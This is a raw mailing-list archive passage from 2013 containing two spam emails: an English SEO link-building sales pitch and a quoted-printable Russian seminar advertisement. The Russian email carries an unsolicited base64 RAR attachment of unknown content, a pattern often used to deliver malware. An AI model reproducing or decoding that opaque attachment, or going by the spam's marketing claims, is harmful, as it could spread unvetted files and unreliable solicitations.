3.2, rules version 3.2.2.140494 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.20 PR0N_SUBJECT Subject has letters around special characters (pr0n) 0.20 BSF_SC0_SA074b Custom Rule SA074b Greetings! We offer world-class SEO plans and services & we specialize in assisting ou= r clients to enhance their web presence using SEO and link building to incr= ease the traffic on their websites. Our SEO plans continue to successfully and effectively provide our clients = with outstanding results in search engines, increased web traffic and, most= importantly, significant return on investment. We do SEO and Link Building in accordance with all the Google guidelines. Our strategy includes complete SEO solution - according to web 2.0 and 3.0 = techniques. (1) First, We'll provide you complete ON PAGE OPTIMIZATION: Meta Tags Optimization Existing Content Optimization Anchor & Title Tag Optimization Header Tag Optimization (H1, H2, etc.) Image & Hyperlink Optimization Robot.txt Creation & Analysis HTML Sitemap Creation & Analysis XML Sitemap Creation & Analysis Navigation Analysis & Recommendations Internal Link Structuring & Optimization SEO Friendly URLs (URL Rewriting) Website Speed & Page Load Optimization Crawl Error Resolution (2) OFF PAGE OPTIMIZATION - All off-page & link building activities listed = below: Manual Search Engine Submission Article Submission Press Release Submission Directory Submission Classified Submission Business Listing Web 2.0 Profile Creation (Twitter, Facebook, Linkedin) Social Bookmarking Blog Posting Blog Commenting Guest Blog Posting Forum Posting, Q&A Google Local Listing RSS Feed Syndication Image Promotion & Submission (Flickr, Photobuket) (3) Complete Social Media Optimization: Facebook page creation & Facebook likes Country Specific. Google+ Account creation and Increase Friends and Followers. Pinterest Account creation and Increase Followers. Complete support for social media marketing from my end. Relevant target market only. Monthly reports so that you can track the progress. Google analytic account setup so that you can track the audience. We are thorough with the technology of SEO and Link Building for your websi= te and can produce the best results within 2-3 months. We would appreciate if you could let us know good time to talk to you, and = understand how to partner with you and value to your organization. Our Packages Starts: $250- Monthly Only Thank you and have a Great Day. Regards, Krishan Kumar Client Development & Management Website Solutions Europe Phone - 011- 478-20044 M.No - 09891685660 Email: wse.krishan@gmail.com Web: websitesolutionseurope.ie From i386dx@gritt.com Tue Sep 10 07:30:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B67487F54 for ; Tue, 10 Sep 2013 07:30:28 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 69BBC304059 for ; Tue, 10 Sep 2013 05:30:25 -0700 (PDT) X-ASG-Debug-ID: 1378816219-04bdf02f20ed9620001-NocioJ Received: from public8.ccs.ru (public8.ccs.ru [217.76.32.22]) by cuda.sgi.com with ESMTP id uwH9shRDzbAEA1vo (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 10 Sep 2013 05:30:21 -0700 (PDT) X-Barracuda-Envelope-From: i386dx@gritt.com X-Barracuda-Apparent-Source-IP: 217.76.32.22 Received: from [58.213.157.68] (helo=Unknown) by public8.ccs.ru with esmtpa (Exim 4.69) (envelope-from ) id 1VJMbk-0005u4-Sa; Tue, 10 Sep 2013 15:59:52 +0400 Message-ID: Reply-To: =?windows-1251?B?xeTo7fvpIPLg7O7m5e3t++kg8uDw6PQ=?= From: =?windows-1251?B?xeTo7fvpIPLg7O7m5e3t++kg8uDw6PQ=?= To: , , , Subject: =?windows-1251?B?z+Xw5ffl7fwg6+j2LCDo7OX++ej1IO/w4OLu?= =?windows-1251?B?IOL78fLz7+Dy/CDiIOrg9+Xx8uLlIOTl6uvg?= =?windows-1251?B?8ODt8u7iLg==?= Date: Tue, 10 Sep 2013 14:27:09 +0200 X-ASG-Orig-Subj: =?windows-1251?B?z+Xw5ffl7fwg6+j2LCDo7OX++ej1IO/w4OLu?= =?windows-1251?B?IOL78fLz7+Dy/CDiIOrg9+Xx8uLlIOTl6uvg?= =?windows-1251?B?8ODt8u7iLg==?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_01B6_01CEAE31.D4FBDEF0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Mail 6.0.6001.18416 X-MimeOLE: Produced By Microsoft MimeOLE V6.0.6001.18645 X-Barracuda-Connect: public8.ccs.ru[217.76.32.22] X-Barracuda-Start-Time: 1378816220 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG035a, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140497 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 BSF_SC0_TG035a Message contains invalid style definition This is a multi-part message in MIME format. ------=_NextPart_000_01B6_01CEAE31.D4FBDEF0 Content-Type: multipart/alternative; boundary="----=_NextPart_001_01B7_01CEAE31.D4FBDEF0" ------=_NextPart_001_01B7_01CEAE31.D4FBDEF0 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =D2=E0=EC=EE=E6=E5=ED=ED=FB=E9 =F1=EE=FE=E7.=20 =D2=E0=EC=EE=E6=E5=ED=ED=EE=E5 =F0=E5=E3=F3=EB=E8=F0=EE=E2=E0=ED=E8=E5 =E8= =EA=EE=ED=F2=F0=EE=EB=FC =D2=E0=EC=EE=E6=E5=ED=ED=EE=E3=EE =D1=EE=FE=E7=E0= .=20 =CD=EE=E2=EE=E5 =E2=EE =E2=ED=E5=F8=ED=E5=FD=EA=EE=ED=EE=EC=E8=F7=E5=F1=EA= =EE=E9 =E4=E5=FF=F2=E5=EB=FC=ED=EE=F1=F2=E8.=20 2=C7-2=D7.=EE9.2=CEI3, =D1=E0=ED=EA=F2-=CF=E5=F2=E5=F0=E1=F3=F0=E3=20 =20 =CA=D0=C0=D2=CA=C0=DF =EF=F0=EE=E3=F0=E0=EC=EC=E0: =95 =CF=F0=E0=E2=EE=E2=EE=E5 =F0=E5=E3=F3=EB=E8=F0=EE=E2=E0=ED=E8=E5 =C2=DD= =C4 =E2 =F0=E0=EC=EA=E0=F5 =D2=E0=EC=EE=E6=E5=ED=ED=EE=E3=EE =F1=EE=FE=E7= =E0.=20 =95 =C5=E4=E8=ED=FB=E9 =F1=EF=E8=F1=EE=EA =EC=E5=F0 =F2=E0=EC=EE=E6=E5=ED= =ED=EE-=F2=E0=F0=E8=F4=ED=EE=E3=EE =E8 =ED=E5=F2=E0=F0=E8=F4=ED=EE=E3=EE = =F0=E5=E3=F3=EB=E8=F0=EE=E2=E0=ED=E8=FF =D2=E0=EC=EE=E6=E5=ED=ED=EE=E3=EE= =F1=EE=FE=E7=E0; =C5=E4=E8=ED=FB=E9 =D2=E0=EC=EE=E6=E5=ED=ED=FB=E9 =F2=E0= =F0=E8=F4; =C5=E4=E8=ED=FB=E9 =F2=E0=EC=EE=E6=E5=ED=ED=FB=E9 =EA=EE=E4=E5= =EA=F1 =D2=E0=EC=EE=E6=E5=ED=ED=EE=E3=EE =F1=EE=FE=E7=E0. =95 =CE=F1=EE=E1=E5=ED=ED=EE=F1=F2=E8 =F0=E0=E7=E2=E8=F2=E8=FF =D2=E0=EC=EE= =E6=E5=ED=ED=EE=E3=EE =F1=EE=FE=E7=E0 =E2 2013 =E3=EE=E4=F3. =20 =95 =C8=ED=F4=EE=F0=EC=E0=F6=E8=FF =EE =F1=EE=F1=F2=EE=FF=ED=E8=E8 =E4=E5= =EB =EF=EE =EF=F0=E8=F1=EE=E5=E4=E8=ED=E5=ED=E8=FE =EA =C2=D2=CE =F1=F2=F0= =E0=ED =D2=E0=EC=EE=E6=E5=ED=ED=EE=E3=EE =F1=EE=FE=E7=E0. =20 =95 =D1=EE=E3=EB=E0=F8=E5=ED=E8=FF =C2=D2=CE, =EF=F0=E0=E2=E8=EB=E0 =F0=E0= =F1=F1=EC=EE=F2=F0=E5=ED=E8=FF =F1=EF=EE=F0=EE=E2 =E8 =F2.=EF. =E8=ED=F4=EE= =F0=EC=E0=F6=E8=FF.=C2=ED=E5=F8=ED=E5=F2=EE=F0=E3=EE=E2=FB=E5 =F1=E4=E5=EB= =EA=E8 =E8 =F2=E0=EC=EE=E6=E5=ED=ED=EE=E5 =EE=F4=EE=F0=EC=EB=E5=ED=E8=E5 = =E2 =F0=E0=EC=EA=E0=F5 =C2=D2=CE =20 =95 =CA=EE=EC=EF=E5=F2=E5=ED=F6=E8=FF =EE=F0=E3=E0=ED=EE=E2 =D2=E0=EC=EE=E6= =E5=ED=ED=EE=E3=EE =F1=EE=FE=E7=E0 =E8 =EF=F0=EE=F6=E5=E4=F3=F0=FB =EF=F0= =E8=ED=FF=F2=E8=FF =F0=E5=F8=E5=ED=E8=E9. =20 =95 =D2=E0=EC=EE=E6=E5=ED=ED=FB=E5 =EF=F0=EE=F6=E5=E4=F3=F0=FB =D2=E0=EC=EE= =E6=E5=ED=ED=EE=E3=EE =EA=EE=E4=E5=EA=F1=E0 =D2=E0=EC=EE=E6=E5=ED=ED=EE=E3= =EE =F1=EE=FE=E7=E0. =95 =C7=E0=F9=E8=F2=E0 =EF=F0=E0=E2 =E8 =E8=ED=F2=E5=F0=E5=F1=EE=E2 =F3=F7= =E0=F1=F2=ED=E8=EA=EE=E2 =C2=DD=C4 =E2 =F3=F1=EB=EE=E2=E8=FF=F5 =D2=E0=EC= =EE=E6=E5=ED=ED=EE=E3=EE =F1=EE=FE=E7=E0. =95 =CD=EE=E2=E0=FF =F0=E5=E4=E0=EA=F6=E8=FF =E5=E4=E8=ED=EE=E9 =D2=EE=E2= =E0=F0=ED=EE=E9 =ED=EE=EC=E5=ED=EA=EB=E0=F2=F3=F0=FB =E2=ED=E5=F8=ED=E5=FD= =EA=EE=ED=EE=EC=E8=F7=E5=F1=EA=EE=E9 =E4=E5=FF=F2=E5=EB=FC=ED=EE=F1=F2=E8= =D2=E0=EC=EE=E6=E5=ED=ED=EE=E3=EE =F1=EE=FE=E7=E0 (=D2=CD =C2=DD=C4 =D2=D1= ). =95 =D2=E0=EC=EE=E6=E5=ED=ED=EE=E5 =F0=E5=E3=F3=EB=E8=F0=EE=E2=E0=ED=E8=E5= =E8 =EA=EE=ED=F2=F0=EE=EB=FC =D2=E0=EC=EE=E6=E5=ED=ED=EE=E3=EE =F1=EE=FE= =E7=E0. =20 =95 =D3=F1=EB=EE=E2=E8=FF =EF=EE=F1=F2=E0=E2=EA=E8. =C8=ED=EA=EE=F2=E5=F0= =EC=F1 9=CE/2=EE=EE=CE. =CD=EE=E2=FB=E9 =C8=ED=EA=EE=F2=E5=F0=EC=F1 2=CEI= =EE. =20 =95 =CD=E5=F2=E0=F0=E8=F4=ED=FB=E5 =EC=E5=F0=FB =F0=E5=E3=F3=EB=E8=F0=EE=E2= =E0=ED=E8=FF =E2 =D2=E0=EC=EE=E6=E5=ED=ED=EE=EC =F1=EE=FE=E7=E5. =95 =D2=F0=E5=E1=EE=E2=E0=ED=E8=FF =EA =EB=E8=F6=E0=EC, =EE=F1=F3=F9=E5=F1= =F2=E2=EB=FF=FE=F9=E8=EC =E4=E5=FF=F2=E5=EB=FC=ED=EE=F1=F2=FC =E2 =EE=E1=EB= =E0=F1=F2=E8 =F2=E0=EC=EE=E6=E5=ED=ED=EE=E3=EE =E4=E5=EB=E0. =20 =D0=C5=C3=C8=D1=D2=D0=C8=D0=D3=C9=D2=C5=D1=DC: =20 =D2=E5=EB.: 8 ( =EA=EE=E4 =CF=E8=F2=E5=F0=E0 ) 98.7 _ 8= .2 . 6=D7 ------=_NextPart_001_01B7_01CEAE31.D4FBDEF0 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
=D2=E0=EC=EE=E6=E5=ED=ED=FB=E9 =F1=EE=FE=E7.
=D2=E0=EC=EE=E6=E5=ED= =ED=EE=E5 =F0=E5=E3=F3=EB=E8=F0=EE=E2=E0=ED=E8=E5 =E8 =EA=EE=ED=F2=F0=EE=EB= =FC =D2=E0=EC=EE=E6=E5=ED=ED=EE=E3=EE =D1=EE=FE=E7=E0.=20
=CD=EE=E2=EE=E5 =E2=EE =E2=ED=E5=F8=ED=E5=FD=EA=EE=ED=EE=EC=E8=F7=E5=F1= =EA=EE=E9 =E4=E5=FF=F2=E5=EB=FC=ED=EE=F1=F2=E8.
 
    =20 2=C7-2=D7.=EE9.2=CEI3,=20 =D1=E0=ED=EA=F2-=CF=E5=F2=E5=F0=E1=F3=F0=E3
    &= nbsp;   
=CA=D0=C0=D2=CA=C0=DF=20 =EF=F0=EE=E3=F0=E0=EC=EC=E0:
=95 =CF=F0=E0=E2=EE=E2=EE=E5 =F0=E5=E3= =F3=EB=E8=F0=EE=E2=E0=ED=E8=E5 =C2=DD=C4 =E2 =F0=E0=EC=EA=E0=F5 =D2=E0=EC= =EE=E6=E5=ED=ED=EE=E3=EE =F1=EE=FE=E7=E0.=20
=95 =C5=E4=E8=ED=FB=E9 =F1=EF=E8=F1=EE=EA =EC=E5=F0 =F2=E0=EC=EE= =E6=E5=ED=ED=EE-=F2=E0=F0=E8=F4=ED=EE=E3=EE =E8 =ED=E5=F2=E0=F0=E8=F4=ED=EE= =E3=EE =F0=E5=E3=F3=EB=E8=F0=EE=E2=E0=ED=E8=FF=20 =D2=E0=EC=EE=E6=E5=ED=ED=EE=E3=EE =F1=EE=FE=E7=E0; =C5=E4=E8=ED=FB=E9 =D2= =E0=EC=EE=E6=E5=ED=ED=FB=E9 =F2=E0=F0=E8=F4; =C5=E4=E8=ED=FB=E9 =F2=E0=EC= =EE=E6=E5=ED=ED=FB=E9 =EA=EE=E4=E5=EA=F1 =D2=E0=EC=EE=E6=E5=ED=ED=EE=E3=EE= =20 =F1=EE=FE=E7=E0.
=95 =CE=F1=EE=E1=E5=ED=ED=EE=F1=F2=E8 =F0=E0=E7=E2= =E8=F2=E8=FF =D2=E0=EC=EE=E6=E5=ED=ED=EE=E3=EE =F1=EE=FE=E7=E0 =E2 2013=20 =E3=EE=E4=F3.   
=95 =C8=ED=F4=EE=F0=EC=E0=F6=E8=FF= =EE =F1=EE=F1=F2=EE=FF=ED=E8=E8 =E4=E5=EB =EF=EE =EF=F0=E8=F1=EE=E5=E4=E8= =ED=E5=ED=E8=FE =EA=20 =C2=D2=CE =F1=F2=F0=E0=ED =D2=E0=EC=EE=E6=E5=ED=ED=EE=E3=EE =F1=EE=FE=E7=E0= .     
=95 =D1=EE=E3=EB=E0=F8=E5=ED=E8=FF= =20 =C2=D2=CE, =EF=F0=E0=E2=E8=EB=E0 =F0=E0=F1=F1=EC=EE=F2=F0=E5=ED=E8=FF =F1= =EF=EE=F0=EE=E2 =E8 =F2.=EF. =E8=ED=F4=EE=F0=EC=E0=F6=E8=FF.=C2=ED=E5=F8=ED= =E5=F2=EE=F0=E3=EE=E2=FB=E5 =F1=E4=E5=EB=EA=E8 =E8=20 =F2=E0=EC=EE=E6=E5=ED=ED=EE=E5 =EE=F4=EE=F0=EC=EB=E5=ED=E8=E5 =E2 =F0=E0=EC= =EA=E0=F5 =C2=D2=CE     =20
=95 =CA=EE=EC=EF=E5=F2=E5=ED=F6=E8=FF =EE=F0=E3=E0=ED=EE=E2 =D2=E0= =EC=EE=E6=E5=ED=ED=EE=E3=EE =F1=EE=FE=E7=E0 =E8 =EF=F0=EE=F6=E5=E4=F3=F0=FB= =EF=F0=E8=ED=FF=F2=E8=FF=20 =F0=E5=F8=E5=ED=E8=E9.     
=95 =D2=E0=EC= =EE=E6=E5=ED=ED=FB=E5 =EF=F0=EE=F6=E5=E4=F3=F0=FB=20 =D2=E0=EC=EE=E6=E5=ED=ED=EE=E3=EE =EA=EE=E4=E5=EA=F1=E0 =D2=E0=EC=EE=E6=E5= =ED=ED=EE=E3=EE =F1=EE=FE=E7=E0.
=95 =C7=E0=F9=E8=F2=E0 =EF=F0=E0= =E2 =E8 =E8=ED=F2=E5=F0=E5=F1=EE=E2=20 =F3=F7=E0=F1=F2=ED=E8=EA=EE=E2 =C2=DD=C4 =E2 =F3=F1=EB=EE=E2=E8=FF=F5 =D2= =E0=EC=EE=E6=E5=ED=ED=EE=E3=EE =F1=EE=FE=E7=E0.
=95 =CD=EE=E2=E0=FF= =F0=E5=E4=E0=EA=F6=E8=FF =E5=E4=E8=ED=EE=E9=20 =D2=EE=E2=E0=F0=ED=EE=E9 =ED=EE=EC=E5=ED=EA=EB=E0=F2=F3=F0=FB =E2=ED=E5=F8= =ED=E5=FD=EA=EE=ED=EE=EC=E8=F7=E5=F1=EA=EE=E9 =E4=E5=FF=F2=E5=EB=FC=ED=EE= =F1=F2=E8 =D2=E0=EC=EE=E6=E5=ED=ED=EE=E3=EE =F1=EE=FE=E7=E0 (=D2=CD =C2=DD= =C4=20 =D2=D1).
=95 =D2=E0=EC=EE=E6=E5=ED=ED=EE=E5 =F0=E5=E3=F3=EB=E8=F0= =EE=E2=E0=ED=E8=E5 =E8 =EA=EE=ED=F2=F0=EE=EB=FC =D2=E0=EC=EE=E6=E5=ED=ED=EE= =E3=EE=20 =F1=EE=FE=E7=E0.       
=95 =D3= =F1=EB=EE=E2=E8=FF =EF=EE=F1=F2=E0=E2=EA=E8.=20 =C8=ED=EA=EE=F2=E5=F0=EC=F1=20 9=CE/2=EE=EE=CE.=20 =CD=EE=E2=FB=E9 =C8=ED=EA=EE=F2=E5=F0=EC=F1 2=CEI=EE. =20
=95 =CD=E5=F2=E0=F0=E8=F4=ED=FB=E5 =EC=E5=F0=FB =F0=E5=E3=F3=EB=E8= =F0=EE=E2=E0=ED=E8=FF =E2 =D2=E0=EC=EE=E6=E5=ED=ED=EE=EC=20 =F1=EE=FE=E7=E5.
=95 =D2=F0=E5=E1=EE=E2=E0=ED=E8=FF =EA =EB=E8=F6= =E0=EC, =EE=F1=F3=F9=E5=F1=F2=E2=EB=FF=FE=F9=E8=EC =E4=E5=FF=F2=E5=EB=FC=ED= =EE=F1=F2=FC =E2 =EE=E1=EB=E0=F1=F2=E8=20 =F2=E0=EC=EE=E6=E5=ED=ED=EE=E3=EE =E4=E5=EB=E0.
 
   
       =20 =D0=C5=C3=C8=D1=D2=D0=C8=D0=D3=C9=D2=C5=D1=DC:     &n= bsp; =20
        =D2=E5=EB.:=20 8 ( =EA=EE=E4 =CF=E8=F2=E5=F0=E0 ) 98.7 _ 8.2 . 6=D7
<= /BODY> ------=_NextPart_001_01B7_01CEAE31.D4FBDEF0-- ------=_NextPart_000_01B6_01CEAE31.D4FBDEF0 Content-Type: application/octet-stream; name="=?windows-1251?B?7/Do6vDl7+vl7ejlILkyLnJhcg==?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?windows-1251?B?7/Do6vDl7+vl7ejlILkyLnJhcg==?=" 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 